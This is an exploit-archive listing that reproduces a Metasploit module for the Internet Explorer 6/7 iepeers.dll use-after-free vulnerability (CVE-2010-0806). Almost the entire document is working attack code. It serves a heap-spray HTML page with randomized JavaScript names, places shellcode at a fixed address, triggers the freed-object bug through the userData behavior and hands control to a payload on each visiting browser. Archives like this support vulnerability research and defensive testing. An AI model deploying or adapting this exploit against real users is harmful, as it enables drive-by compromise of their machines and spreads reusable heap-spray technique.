Microsoft Internet Explorer iepeers.dll Use After Free

2010-03-1100:00:00
Trancer
packetstormsecurity.com
EPSS
0.973
Percentile
99.9%
JSON
`##  
# $Id: ie_iepeers_pointer.rb 8774 2010-03-10 22:07:04Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
##  
# ie_iepeers_pointer.rb  
#  
# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework  
#  
# Tested successfully on the following platforms:  
# - Microsoft Internet Explorer 7, Windows Vista SP2  
# - Microsoft Internet Explorer 7, Windows XP SP3  
# - Microsoft Internet Explorer 6, Windows XP SP3  
#  
# Exploit found in-the-wild. For additional details:  
# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/  
#  
# Trancer  
# http://www.rec-sec.com  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Internet Explorer iepeers.dll Use After Free',  
'Description' => %q{  
This module exploits a use-after-free vulnerability within iepeers.dll of  
Microsoft Internet Explorer versions 6 and 7.  
  
NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'unknown', # original discovery  
'Trancer <mtrancer[at]gmail.com>', # metasploit module  
'jduck' # minor cleanups  
],  
'Version' => '$Revision: 8774 $',  
'References' =>  
[  
[ 'CVE', '2010-0806' ],  
[ 'OSVDB', '62810' ],  
[ 'BID', '38615' ],  
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],  
[ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]  
],  
'DisclosureDate' => 'Mar 09 2010',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Set the return\nops  
ret = Rex::Text.to_unescape([target.ret].pack('V'))  
  
# Randomize the javascript variable names  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_array = rand_text_alpha(rand(100) + 1)  
j_function1 = rand_text_alpha(rand(100) + 1)  
j_function2 = rand_text_alpha(rand(100) + 1)  
j_object = rand_text_alpha(rand(100) + 1)  
j_id = rand_text_alpha(rand(100) + 1)  
  
# Build out the message  
html = %Q|<html><body>  
<button id='#{j_id}' onclick='#{j_function2}();' style='display:none'></button>  
<script language='javascript'>  
function #{j_function1}(){  
var #{j_shellcode} = unescape('#{shellcode}');  
#{j_memory} = new Array();  
var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2);  
var #{j_nops} = unescape('#{ret}');  
while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; }  
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2);  
delete #{j_nops};  
for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) {  
#{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode};  
}  
}  
function #{j_function2}(){  
#{j_function1}();  
var #{j_object} = document.createElement('body');  
#{j_object}.addBehavior('#default#userData');  
document.appendChild(#{j_object});  
try {  
for (#{j_counter}=0; #{j_counter}<10; #{j_counter}++) {  
#{j_object}.setAttribute('s',window);  
}  
} catch(e){ }  
window.status+='';  
}  
  
document.getElementById('#{j_id}').onclick();  
</script></body></html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the compressed response to the client  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
  
# Handle the payload  
handler(cli)  
  
end  
  
end  
`